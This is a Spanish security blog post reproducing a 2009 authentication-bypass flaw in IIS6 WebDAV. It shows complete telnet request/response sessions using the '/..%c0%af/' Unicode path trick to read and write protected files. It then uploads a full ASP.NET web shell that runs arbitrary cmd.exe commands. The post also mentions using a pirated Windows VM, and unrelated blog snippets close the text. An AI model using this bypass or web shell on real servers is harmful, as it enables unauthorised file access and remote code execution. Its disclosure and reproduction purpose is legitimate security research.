Kcope ha publicado hoy una nota de seguridad crítica que afecta a servidores web Internet Information Server en su versión 6 (IIS6) con el módulo de WebDav instalado.El fallo es muy similar a otros anteriores. La validación por parte del servicio de caracteres Unicode se ejecuta de forma incorrecta, permitiendo saltarse la autenticación y por lo tanto, la lectura y escritura de ficheros en el sistema.
Para reproducir el problema, hemos descargado (warez!) una máquina virtual de Windows 2003 y ejecutado en un entorno VMWare. Tras instalar IIS6 y activar el módulo de Webdav sobre un directorio con ficheros, procedemos a probar la vulnerabilidad, que es tan sencilla como añadir los caracteres "/..%c0%af/" antes de la petición:
Se solicita de forma normal el archivo "test.txt" que contiene la cadena "prueba".
$ telnet 192.168.1.7 80
Trying 192.168.1.7...
Connected to 192.168.1.7.
Escape character is '^]'.
GET /testdav/test.txt HTTP/1.1
Translate: f
Connection: close
Host: servername
HTTP/1.1 401 Unauthorized
Content-Length: 1656
Content-Type: text/html
Server: Microsoft-IIS/6.0
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
X-Powered-By: ASP.NET
Date: Sat, 16 May 2009 02:19:04 GMT
Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE>
[...]
<h1>You are not authorized to view this page</h1>
You do not have permission to view this directory or page using the credentials that you supplied because your Web browser is sending a WWW-Authenticate header field that the Web server is not configured to accept.
<hr>
<p>Please try the following:</p>
[...]
</TD></TR></TABLE></BODY></HTML>
Connection closed by foreign host.
Lo que ocurre al añadir magia a la petición:
$ telnet 192.168.1.7 80
Trying 192.168.1.7...
Connected to 192.168.1.7.
Escape character is '^]'.
GET /..%c0%af/testdav/test.txt HTTP/1.1
Translate: f
Connection: close
Host: servername
HTTP/1.1 200 OK
Connection: close
Date: Sat, 16 May 2009 02:15:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/plain
Content-Length: 6
ETag: "f093bdfac2d5c91:23b"
Last-Modified: Sat, 16 May 2009 01:09:36 GMT
Accept-Ranges: bytes
prueba
Connection closed by foreign host.
En el caso de subir ficheros, siempre y cuando los permisos NTFS y WebDav permitan la escritura y creación de archivos:
$ telnet 192.168.1.7 80Si en vez de un inocente archivo de prueba, existe la posibilidad de que el WebDav esté habilitado para subir archivos ASPX:
Trying 192.168.1.7...
Connected to 192.168.1.7.
Escape character is '^]'.
PUT /..%c0%af/testdav/test.txt HTTP/1.1
Translate: f
Connection: close
Host: servername
Content-Length: 5
test
HTTP/1.1 201 Created
Connection: close
Date: Sat, 16 May 2009 02:24:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: http://servername/testdav/test.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK
$ telnet 192.168.1.7 80
Trying 192.168.1.7...
Connected to 192.168.1.7.
Escape character is '^]'.
PUT /..%c0%af/testdav/shell.aspx HTTP/1.1
Translate: f
Connection: close
Host: servername
Content-Length: 1312
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>
HTTP/1.1 200 OK
Connection: close
Date: Sat, 16 May 2009 02:34:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK
Finalmente, se accede por algún Virtual Directory que mapea el WebDav:






Con un año cumplido, SecurityByDefault empieza a caminar y decir sus primeras palabras. Atrás queda el gateo y los biberones de leche.
No, no hay segunda parte de la película de Mel Gibson, o por lo menos, si la hay, a los cines no ha llegado.








